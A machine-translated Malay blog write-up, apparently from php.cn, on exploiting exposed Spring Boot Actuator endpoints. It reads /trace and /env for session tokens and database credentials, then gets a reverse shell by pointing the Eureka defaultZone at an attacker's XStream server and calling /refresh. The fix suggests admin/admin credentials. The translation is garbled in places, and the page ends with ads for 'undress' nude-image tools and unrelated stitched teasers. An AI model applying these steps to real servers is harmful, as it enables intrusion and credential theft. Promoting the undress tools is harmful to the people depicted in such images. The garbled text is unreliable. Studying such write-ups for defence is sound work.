


Contoh analisis akses Spring Boot Actuator yang tidak dibenarkan kepada getshell
Kata Pengantar
Bos jabatan menggali kelemahan ini dalam src tertentu Ia adalah lubang lama, saya fikir ia menarik, jadi saya menyediakan persekitaran tempatan untuk mengujinya.
Actuator ialah modul berfungsi yang disediakan oleh springboot untuk introspeksi dan pemantauan sistem aplikasi Dengan bantuan Actuator, pembangun boleh melihat dan mengumpul statistik pada penunjuk pemantauan tertentu sistem aplikasi. Apabila Actuator didayakan, jika kebenaran yang berkaitan tidak dikawal, pengguna yang menyalahi undang-undang boleh mendapatkan maklumat pemantauan dalam sistem aplikasi dengan mengakses titik akhir penggerak lalai, yang membawa kepada kebocoran maklumat atau bahkan pengambilalihan pelayan.
Actuator ialah modul berfungsi yang disediakan oleh Spring Boot, yang boleh digunakan untuk introspeksi dan pemantauan sistem aplikasi. Titik akhir pelaksana yang disediakan dibahagikan kepada dua kategori: titik akhir asli dan titik akhir sambungan yang ditentukan pengguna >
Gunakan env plus refresh untuk melaksanakan getshell
-
Gunakan jejak untuk mendapatkan maklumat pengesahan (Cookie, Tooken, Session), dan gunakan maklumat pengesahan untuk mengakses antara muka. -
env mungkin membocorkan kata laluan akaun pangkalan data (mangodb) Sudah tentu, rangkaian luaran mesti dibuka, jadi kemungkinannya kecil. -
Orang asing mengatakan bahawa pernyataan sql boleh dilaksanakan, tetapi saya belum faham lagi -
Kerentanan ditemui Biasanya kenal pasti rangka kerja yang digunakan oleh aplikasi web semasa sebagai rangka kerja springboot. Terdapat dua cara utama untuk menilai:
-
Halaman ralat lalai dilaporkan melalui rangka kerja springboot; jika Pembangun aplikasi web tidak mengubah suai halaman ralat 4xx dan 5xx lalai aplikasi web springboot. Kemudian apabila ralat 4xx atau 5xx berlaku dalam aplikasi web, ralat berikut akan berlaku dilaporkan (hanya halaman ralat 404 digunakan sebagai contoh di sini): Akses laluan yang dibina secara rawak , contohnya: http://172.26.2.24:8090/index Jika halaman ralat berikut muncul, ini bermakna tapak web web menggunakan rangka kerja springboot (kebanyakan situasi yang dihadapi dalam amalan adalah seperti ini).
-
Berdasarkan dua cara di atas untuk menentukan sama ada aplikasi web semasa ialah rangka kerja springboot, ia adalah untuk mengakses direktori yang berbeza untuk dilihat jika terdapat sebarang ikon kecil daun Hijau, dan kemudian cari cara untuk mencetuskan ralat 4xx atau 5xx aplikasi dalam direktori berbeza untuk melihat sama ada terdapat ralat Halaman Ralat Label Putih.
Mengeksploitasi kelemahan
Akses titik akhir /trace untuk mendapatkan maklumat penjejakan permintaan HTTP asas (cap masa, pengepala HTTP, dsb. Jika terdapat permintaan operasi daripada log-). dalam pengguna, anda boleh memalsukan kuki untuk log masuk.
Akses titik akhir /env untuk mendapatkan semua atribut persekitaran Memandangkan penggerak akan memantau perkhidmatan pangkalan data seperti mysql dan mangodb di tapak, kadangkala maklumat pangkalan data mysql dan mangodb boleh. diperoleh melalui maklumat pemantauan. Jika pangkalan data terbuka pada rangkaian awam, bahaya yang ditimbulkan adalah besar
Konfigurasi titik akhir /env yang tidak betul menyebabkan RCE > Prasyarat: Eureka -Pelanggan <1.8.7 (kebanyakannya dilihat dalam Spring Cloud Netflix)
Sebagai contoh, apabila menguji ralat json bahagian hadapan dan membocorkan nama pakej, gunakan netflix
Dua berikut diperlukan Pakej
spring-boot-starter-actuator (/refresh refresh konfigurasi diperlukan)
spring-cloud-starter-netflix- eureka-client (functional dependency)
Menggunakan python3 Untuk memulakan skrip, anda perlu memberi perhatian kepada dua tempat, satu ialah IP dan port untuk menerima shell, dan satu lagi ialah port skrip kami bermula,
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
Kemudian lawati /refresh, tangkap paket dan tukar permintaan get untuk Menyiarkan permintaan, data siaran adalah pilihan,
Kemudian dalam tetingkap nc kami, anda boleh melihat bahawa cangkerang telah berjaya dipantulkan semula.
Pembetulan kerentanan
Sebagai anjing keselamatan, anda tidak boleh hanya menggali tanpa membetulkan, dan memperkenalkan spring-boot di bawah pom projek. xml file -starter-security bergantung pada
<dependency> <groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId> </dependency></p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator从未授权访问到getshell的示例分析"></p> <p> Kemudian dayakan fungsi keselamatan dalam application.properties, konfigurasikan kata laluan akaun akses dan mulakan semula aplikasi untuk muncul. </p> <pre class="brush:php;toolbar:false">management.security.enabled=true security.user.name=admin security.user.password=admin
Untuk melumpuhkan antara muka, anda boleh menetapkannya seperti berikut (seperti melumpuhkan antara muka env):
endpoints.env.enabled = false
Masalah
Orang asing mengatakan bahawa mereka boleh melaksanakan pernyataan sql tetapi mendapati bahawa mereka tidak boleh dilaksanakan Mungkin kaedahnya tidak betul tangkapan skrin gambarnya saya harap sesiapa yang berjaya melaksanakannya boleh berkongsi.
Dalam persekitaran sebenar, didapati terdapat banyak tiada penyegaran, mengakibatkan ketidakupayaan untuk melaksanakan arahan
Atas ialah kandungan terperinci Contoh analisis akses Spring Boot Actuator yang tidak dibenarkan kepada getshell. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Dalam projek sebenar, kami cuba mengelakkan transaksi yang diedarkan. Walau bagaimanapun, kadangkala ia benar-benar perlu untuk melakukan beberapa pemisahan perkhidmatan, yang akan membawa kepada masalah transaksi yang diedarkan. Pada masa yang sama, transaksi yang diedarkan juga ditanya di pasaran semasa temu bual Anda boleh berlatih dengan kes ini, dan anda boleh bercakap tentang 123 dalam temu bual.

Dengan peningkatan mata wang digital seperti Bitcoin, teknologi blockchain secara beransur-ansur menjadi topik hangat. Kontrak pintar boleh dianggap sebagai bahagian penting dalam teknologi blockchain. SpringBoot, sebagai rangka kerja pembangunan back-end Java yang popular, juga boleh digunakan untuk membina aplikasi blockchain dan kontrak pintar. Artikel ini akan memperkenalkan cara menggunakan SpringBoot untuk membina aplikasi dan kontrak pintar berdasarkan teknologi blockchain. 1. SpringBoot dan blockchain Pertama, kita perlu memahami beberapa konsep asas yang berkaitan dengan blockchain. Rantaian sekat

Dengan perkembangan globalisasi, semakin banyak laman web dan aplikasi perlu menyediakan sokongan berbilang bahasa dan fungsi pengantarabangsaan. Bagi pembangun, melaksanakan fungsi ini bukanlah tugas yang mudah kerana ia memerlukan pertimbangan dari banyak aspek, seperti terjemahan bahasa, tarikh, masa dan format mata wang, dsb. Walau bagaimanapun, menggunakan rangka kerja SpringBoot, kami boleh melaksanakan sokongan berbilang bahasa dan aplikasi antarabangsa dengan mudah. Mula-mula, marilah kita memahami antara muka LocaleResolver yang disediakan oleh SpringBoot. Loc

Dengan kemunculan era data besar, semakin banyak syarikat mula memahami dan mengiktiraf nilai data besar dan menerapkannya dalam perniagaan. Masalah yang datang dengannya ialah bagaimana mengendalikan aliran data yang besar ini. Dalam kes ini, aplikasi pemprosesan data besar telah menjadi sesuatu yang mesti dipertimbangkan oleh setiap perusahaan. Bagi pembangun, cara menggunakan SpringBoot untuk membina aplikasi pemprosesan data besar yang cekap juga merupakan isu yang sangat penting. SpringBoot ialah rangka kerja Java yang sangat popular yang membolehkan

Dalam proses pembangunan aplikasi web Java, teknologi pemetaan ORM (Object-RelationalMapping) digunakan untuk memetakan data hubungan dalam pangkalan data kepada objek Java, menjadikannya mudah untuk pembangun mengakses dan mengendalikan data. SpringBoot, sebagai salah satu rangka kerja pembangunan web Java yang paling popular pada masa ini, telah menyediakan cara untuk mengintegrasikan MyBatis, dan MyBatisPlus ialah rangka kerja ORM yang dilanjutkan berdasarkan MyBatis.

Dengan perkembangan Internet, analisis data besar dan pemprosesan maklumat masa nyata telah menjadi keperluan penting bagi perusahaan. Untuk memenuhi keperluan tersebut, pangkalan data hubungan tradisional tidak lagi memenuhi keperluan pembangunan perniagaan dan teknologi. Sebaliknya, menggunakan pangkalan data NoSQL telah menjadi pilihan penting. Dalam artikel ini, kita akan membincangkan penggunaan SpringBoot yang disepadukan dengan pangkalan data NoSQL untuk membolehkan pembangunan dan penggunaan aplikasi moden. Apakah pangkalan data NoSQL?

Dengan pembangunan dan pempopularan Internet yang berterusan, permintaan untuk pemprosesan dan penyimpanan data juga semakin meningkat Cara memproses dan menyimpan data dengan cekap dan boleh dipercayai telah menjadi topik hangat di kalangan industri dan penyelidik. Sistem caching dan penyimpanan data yang diedarkan berdasarkan SpringBoot adalah penyelesaian yang telah menarik banyak perhatian dalam beberapa tahun kebelakangan ini. Apakah sistem caching dan penyimpanan data teragih? Sistem caching dan penyimpanan data teragih merujuk kepada penyimpanan data teragih melalui berbilang nod (pelayan), yang meningkatkan keselamatan dan kebolehpercayaan data dan juga boleh meningkatkan pemprosesan data.

Memandangkan perniagaan moden semakin bergantung pada pelbagai aplikasi dan sistem yang berbeza, integrasi perusahaan menjadi lebih penting. Bas Perkhidmatan Perusahaan (ESB) ialah model seni bina integrasi yang menghubungkan sistem dan aplikasi yang berbeza bersama-sama untuk menyediakan pertukaran data biasa dan perkhidmatan penghalaan mesej untuk mencapai penyepaduan aplikasi peringkat perusahaan. Menggunakan SpringBoot dan ApacheServiceMix, kami boleh membina sistem ESB dengan mudah Artikel ini akan memperkenalkan cara melaksanakannya. SpringBoot dan A
